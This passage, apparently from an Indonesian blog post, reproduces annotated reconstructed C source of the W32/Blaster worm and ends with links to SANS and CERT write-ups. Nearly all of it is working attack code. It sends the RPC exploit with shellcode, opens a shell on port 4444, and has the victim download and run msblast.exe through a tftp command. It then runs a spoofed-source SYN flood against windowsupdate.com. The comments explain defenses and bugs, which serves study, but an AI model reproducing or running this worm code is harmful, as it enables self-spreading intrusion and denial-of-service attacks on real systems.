    int sizeof_sa;
    int ret;
    int opt;
    void *hThread;
    struct sockaddr_in target_ip;
    struct sockaddr_in sa;
    int fd;
    char cmdstr[0x200];
    int len1;
    unsigned char buf2[0x1000];
    int i;

    /* 
     * Turn off non-blocking (i.e. re-enable blocking mode)  
     * DEFENSE: Tarpit programs (e.g. 'labrea' or 'deredoc')
     * will slow down the spread of this worm. It takes a long
     * time for blocking calls to timeout. I had several     
     * thousand worms halted by my 'deredoc' tarpit.
     */
    opt = 0;
    ioctlsocket(sock, FIONBIO , &opt);

    /*
     * Choose whether the exploit targets Win2k or WinXP.
     */
    if (winxp1_or_win2k2 == 1)
        ret = 0x100139d;
    else
        ret = 0x18759f;
    memcpy(sc+36, (unsigned char *) &ret, 4);

    /* ----------------------------------------------
     * This section is just copied from the original exploit
     * script. This is the same as the scripts that have been
     * widely published on the Internet. */
    len=sizeof(sc);
    memcpy(buf2,request1,sizeof(request1));
    len1=sizeof(request1);
     
    *(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2;      
    *(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(sc)/2;

    memcpy(buf2+len1,request2,sizeof(request2));
    len1=len1+sizeof(request2);
    memcpy(buf2+len1,sc,sizeof(sc));
    len1=len1+sizeof(sc);
    memcpy(buf2+len1,request3,sizeof(request3));
    len1=len1+sizeof(request3);
    memcpy(buf2+len1,request4,sizeof(request4));
    len1=len1+sizeof(request4);

    *(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(sc)-0xc;
     

    *(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc;      
    *(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc;
         
    if (send(sock,bindstr,sizeof(bindstr),0)== -1)
    {
            //perror("- Send");
            return;
    }


    if (send(sock,buf2,len1,0)== -1)
    {
            //perror("- Send");
            return;
    }
    closesocket(sock);
    Sleep(400);
    /* ----------------------------------------------*/


    /*
     * This section of code connects to the victim on port 4444.
     * DEFENSE : This means you can block this worm by blocking
     * TCP port 4444.
     * FAQ: This port is only open for the brief instant needed
     * to exploit the victim. Therefore, you can't scan for  
     * port 4444 in order to find Blaster victims.
     */
    if ((fd=socket(AF_INET,SOCK_STREAM,0)) == -1)
        return;
    memset(&target_ip, 0, sizeof(target_ip));
    target_ip.sin_family = AF_INET;
    target_ip.sin_port = htons(SHELL_PORT_4444);
    target_ip.sin_addr.s_addr = inet_addr(victim_ip);
    if (target_ip.sin_addr.s_addr == SOCKET_ERROR)
        return;
    if (connect(fd, (struct sockaddr*)&target_ip, 
                            sizeof(target_ip)) == SOCKET_ERROR)
        return;

    /*
     * This section recreates the IP address from whatever IP
     * address this successfully connected to. In practice,
     * the strings "victim_ip" and "target_ip_string" should be
     * the same.
     */
    memset(target_ip_string, 0, sizeof(target_ip_string));
    sizeof_sa = sizeof(sa);
    getsockname(fd, (struct sockaddr*)&sa, &sizeof_sa);
    sprintf(target_ip_string, "%d.%d.%d.%d",     
        sa.sin_addr.s_net, sa.sin_addr.s_host, 
        sa.sin_addr.s_lh, sa.sin_addr.s_impno);

    /*
     * This section creates a temporary TFTP service that is     
     * ONLY alive during the period of time that the victim
     * needs to download.
     * FAQ: You can't scan for TFTP in order to find Blaster     
     * victims because the port is rarely open.
     */
    if (fd_tftp_service)
        closesocket(fd_tftp_service);
    hThread = CreateThread(0,0,
      blaster_tftp_thread,0,0,&ThreadId);
    Sleep(80); /*give time for thread to start*/
     
    /*
     * This sends the command
     *    tftp -i 1.2.3.4 GET msblast.exe
     * to the victim. The "tftp.exe" program is built into
     * Windows. It's intended purpose is to allow users to 
     * manually update their home wireless access points with
     * new software (and other similar tasks). However, it is
     * not intended as a generic file-transfer protocol (it
     * stands for "trivial-file-transfer-protocol" -- it is
     * intended for only trivial tasks). Since a lot of hacker
     * exploits use the "tftp.exe" program, a good hardening
     * step is to remove/rename it.
     */
    sprintf(cmdstr, "tftp -i %s GET %s\n", 
                                target_ip_string, MSBLAST_EXE);
    if (send(fd, cmdstr, strlen(cmdstr), 0) <= 0)
        goto closesocket_and_return;

    /* 
     * Wait 21 seconds for the victim to request the file, then
     * for the file to be delivered via TFTP.
     */
    Sleep(1000);
    for (i=0; i<10 && is_tftp_running; i++)
        Sleep(2000);

    /*
     * Assume the the transfer is successful, and send the 
     * command to start executing the newly downloaded program.
     * BUFORD: The hacker starts this twice. Again, it 
     * demonstrates a lock of confidence, so he makes sure it's
     * started by doing it twice in slightly different ways.
     * Note that the "BILLY" mutex will prevent from actually
     * running twice.
     */
    sprintf(cmdstr, "start %s\n", MSBLAST_EXE);
    if (send(fd, cmdstr, strlen(cmdstr), 0) <= 0)
        goto closesocket_and_return;
    Sleep(2000);
    sprintf(cmdstr, "%s\n", MSBLAST_EXE);
    send(fd, cmdstr, strlen(cmdstr), 0);
    Sleep(2000);


    /*
     * This section closes the things started in this procedure
     */
closesocket_and_return:

    /* Close the socket for the remote command-prompt that has
     * been established to the victim. */
    if (fd != 0)
        closesocket(fd);

    /* Close the TFTP server that was launched above. As noted,
     * this means that the TFTP service is not running most of
     * the time, so it's not easy to scan for infected systems.
     */
    if (is_tftp_running) {
        TerminateThread(hThread,0);
        closesocket(fd_tftp_service);
        is_tftp_running = 0;
    }
    CloseHandle(hThread);
}


/**
 * Convert the name into an IP address. If the IP address
 * is formatted in decimal-dot-notation (e.g. 192.2.0.43),
 * then return that IP address, otherwise do a DNS lookup
 * on the address. Note that in the case of the worm,
 * it always gives the string "windowsupdate.com" to this
 * function, and since Microsoft turned off that name,
 * the DNS lookup will usually fail, so this function
 * generally returns -1 (SOCKET_ERROR), which means the
 * address 255.255.255.255.
 */
int blaster_resolve_ip(const char *windowsupdate_com)
{
    int result;

    result = inet_addr(windowsupdate_com);
    if (result == SOCKET_ERROR) {
        HOSTENT *p_hostent = gethostbyname(windowsupdate_com);
        if (p_hostent == NULL)
            result = SOCKET_ERROR;
        else
            result = *p_hostent->h_addr;
    }
     
    return result;
}


/*
 * This thre
 */
ULONG WINAPI blaster_DoS_thread(LPVOID p)
{
    int opt = 1;
    int fd;
    int target_ip;


    /* Lookup the domain-name. Note that no checking is done     
     * to ensure that the name is valid. Since Microsoft turned
     * this off in their domain-name servers, this function now
     * returns -1. */
    target_ip = blaster_resolve_ip("windowsupdate.com");
     

    /* Create a socket that the worm will blast packets at 
     * Microsoft from. This is what is known as a "raw" socket.  
     * So-called "raw-sockets" are ones where packets are 
     * custom-built by the programmer rather than by the TCP/IP  
     * stack. Note that raw-sockets were not available in Windows
     * until Win2k. A cybersecurity pundit called Microsoft
     * "irresponsible" for adding them.  
     *  
     * That's probably an
     * unfairly harsh judgement (such sockets are available in
     * every other OS), but it's true that it puts the power of
     * SYNflood attacks in the hands of lame worm writers. While
     * the worm-writer would probably have chosen a different
     * DoS, such as Slammer-style UDP floods, it's likely that
     * Buford wouldn't have been able to create a SYNflood if
     * raw-sockets had not been added to Win2k/WinXP. */
    fd = WSASocket(
            AF_INET,    /*TCP/IP sockets*/
            SOCK_RAW,   /*Custom TCP/IP headers*/
            IPPROTO_RAW,
            NULL,
            0,
            WSA_FLAG_OVERLAPPED
            );
    if (fd == SOCKET_ERROR)
        return 0;

    /* Tell the raw-socket that IP headers will be created by the
     * programmer rather than the stack. Most raw sockets in
     * Windows will also have this option set. */
    if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, 
                    (char*)&opt, sizeof(opt)) == SOCKET_ERROR)
        return 0;


    /* Now do the SYN flood. The worm writer decided to flood
     * slowly by putting a 20-millisecond delay between packets
     * -- causing only 500 packets/second, or roughly, 200-kbps.
     * There are a couple of reasons why the hacker may have
     * chosen this.  
     *  1. SYNfloods are not intended to be bandwidth floods,
     *     even slow rates are hard to deal with.
     *  2. Slammer DoSed both the sender and receiver, therefore
     *     senders hunted down infected systems and removed
     *     them. This won't DoS the sender, so people are more
     *     likely not to care about a few infected machines.
     */
    for (;;) {
        blaster_send_syn_packet(target_ip, fd);

        /* Q: How fast does it send the SYNflood?
         * A: About 50 packets/second, where each packet is  
         *    320-bits in size, for a total of 15-kbps.
         *    It means that Buford probably intended for     
         *    dialup users to be a big source of the DoS
         *    attack. He was smart enough to realize that 
         *    faster floods would lead to users discovering
         *    the worm and turning it off. */
        Sleep(20);
    }
   

    closesocket(fd);
    return 0;
}



/*
 * This is a standard TCP/IP checksum algorithm
 * that you find all over the web.
 */
int blaster_checksum(const void *bufv, int length)
{
    const unsigned short *buf = (const unsigned short *)bufv;
    unsigned long result = 0;
     
    while (length > 1) {
        result += *(buf++);
        length  -= sizeof(*buf);   
    }
    if (length) result += *(unsigned char*)buf;   
    result = (result >> 16) + (result & 0xFFFF);
    result += (result >> 16); 
    result = (~result)&0xFFFF; 
     
    return (int)result;
}



/*
 * This is a function that uses "raw-sockets" in order to send
 * a SYNflood at the victim, which is "windowsupdate.com" in     
 * the case of the Blaster worm.
 */
void blaster_send_syn_packet(int target_ip, int fd)
{

    struct IPHDR
    {
        unsigned char  verlen;     /*IP version & length */
        unsigned char  tos;        /*IP type of service*/
        unsigned short totallength;/*Total length*/
        unsigned short id;         /*Unique identifier */
        unsigned short offset;     /*Fragment offset field*/
        unsigned char  ttl;        /*Time to live*/
        unsigned char  protocol;   /*Protocol(TCP, UDP, etc.)*/
        unsigned short checksum;   /*IP checksum*/
        unsigned int   srcaddr;    /*Source address*/
        unsigned int   dstaddr;    /*Destination address*/

    };
    struct TCPHDR
    {
        unsigned short  srcport;
        unsigned short  dstport;
        unsigned int    seqno;
        unsigned int    ackno;
        unsigned char   offset;
        unsigned char   flags;
        unsigned short  window;
        unsigned short  checksum;
        unsigned short  urgptr;
    };
    struct PSEUDO
    {
      unsigned int srcaddr;
      unsigned int dstaddr;
      unsigned char padzero;
      unsigned char protocol;
      unsigned short tcplength;
    };
    struct PSEUDOTCP
    {
      unsigned int srcaddr;
      unsigned int dstaddr;
      unsigned char padzero;
      unsigned char protocol;
      unsigned short tcplength;
      struct TCPHDR tcphdr;
    };




    char spoofed_src_ip[16];
    unsigned short target_port = 80; /*SYNflood web servers*/
    struct sockaddr_in to;   
    struct PSEUDO pseudo;    
    char buf[60] = {0};  
    struct TCPHDR tcp;
    struct IPHDR ip;
    int source_ip;


    /* Yet another randomizer-seeding */
    srand(GetTickCount());

    /* Generate a spoofed source address that is local to the
     * current Class B subnet. This is pretty smart of Buford.
     * Using just a single IP address allows defenders to turn
     * it off on the firewall, whereas choosing a completely
     * random IP address would get blocked by egress filters
     * (because the source IP would not be in the proper range).
     * Randomly choosing nearby IP addresses it probably the     
     * best way to evade defenses */
    sprintf(spoofed_src_ip, "%i.%i.%i.%i", 
        local_class_a, local_class_b, rand()%255, rand()%255);
    source_ip = blaster_resolve_ip(spoofed_src_ip);

    /* Build the sockaddr_in structure. Normally, this is what
     * the underlying TCP/IP stack uses to build the headers
     * from. However, since the DoS attack creates its own
     * headers, this step is largely redundent. */
    to.sin_family = AF_INET;
    to.sin_port = htons(target_port); /*this makes no sense */
    to.sin_addr.s_addr = target_ip;

    /* Create the IP header */
    ip.verlen = 0x45;
    ip.totallength = htons(sizeof(ip) + sizeof(tcp));
    ip.id = 1;
    ip.offset = 0;
    ip.ttl = 128;
    ip.protocol = IPPROTO_TCP;
    ip.checksum = 0; /*for now, set to true value below */
    ip.dstaddr = target_ip;
     
    /* Create the TCP header */
    tcp.dstport = htons(target_port);
    tcp.ackno = 0;
    tcp.offset = (unsigned char)(sizeof(tcp)<<4);
    tcp.flags = 2; /*TCP_SYN*/
    tcp.window = htons(0x4000);
    tcp.urgptr = 0;
    tcp.checksum = 0; /*for now, set to true value below */

    /* Create pseudo header (which copies portions of the IP
     * header for TCP checksum calculation).*/
    pseudo.dstaddr = ip.dstaddr;
    pseudo.padzero = 0;
    pseudo.protocol = IPPROTO_TCP;
    pseudo.tcplength = htons(sizeof(tcp));

    /* Use the source adress chosen above that is close, but
     * not the same, as the spreader's IP address */
    ip.srcaddr = source_ip;

    /* Choose a random source port in the range [1000-19999].*/
    tcp.srcport = htons((unsigned short)((rand()%1000)+1000)); 

    /* Choose a random sequence number to start the connection.
     * BUG: Buford meant htonl(), not htons(), which means seqno
     * will be 15-bits, not 32-bits, i.e. in the range 
     * [0-32767]. (the Windows rand() function only returns
     * 15-bits). */
    tcp.seqno = htons((unsigned short)((rand()<<16)|rand()));

    pseudo.srcaddr = source_ip;

    /* Calculate TCP checksum */
    memcpy(buf, &pseudo, sizeof(pseudo));
    memcpy(buf+sizeof(pseudo), &tcp, sizeof(tcp));
    tcp.checksum = blaster_checksum(buf,     
                                sizeof(pseudo)+sizeof(tcp));
     
    memcpy(buf, &ip, sizeof(ip));
    memcpy(buf+sizeof(ip), &tcp, sizeof(tcp));
     
    /* I have no idea what's going on here. The assembly code
     * zeroes out a bit of memory near the buffer. I don't know
     * if it is trying to zero out a real variable that happens
     * to be at the end of the buffer, or if it is trying to zero
     * out part of the buffer itself. */
    memset(buf+sizeof(ip)+sizeof(tcp), 0,
        sizeof(buf)-sizeof(ip)-sizeof(tcp));
     
    /* Major bug here: the worm writer incorrectly calculates the
     * IP checksum over the entire packet. This is incorrect --
     * the IP checksum is just for the IP header itself, not for
     * the TCP header or data. However, Windows fixes the checksum
     * anyway, so it's not a problem.
     */
    ip.checksum = blaster_checksum(buf, sizeof(ip)+sizeof(tcp));

    /* Copy the header over again. The reason for this is simply to
     * copy over the checksum that was just calculated above, but
     * it's easier doing this for the programmer rather than
     * figuring out the exact offset where the checksum is
     * located */
    memcpy(buf, &ip, sizeof(ip));

    /* Send the packet */
    sendto(fd, buf, sizeof(ip)+sizeof(tcp), 0,
                            (struct sockaddr*)&to, sizeof(to));
}
Source tersebut di compile dengan menggunakan bahasa C# atau C++ (C tambah-tambah) kata anak² di kampus ku :D


Untuk Penjelasan lebih jauh mengenai worm ini, bisa di baca pada referensi berikut :
http://www.sans.org/security-resources/malwarefaq/w32_blasterworm.php

http://www.cert.org/advisories/CA-2003-20.html
Baca Selengkapnya... Source Code WORM W32/Blaster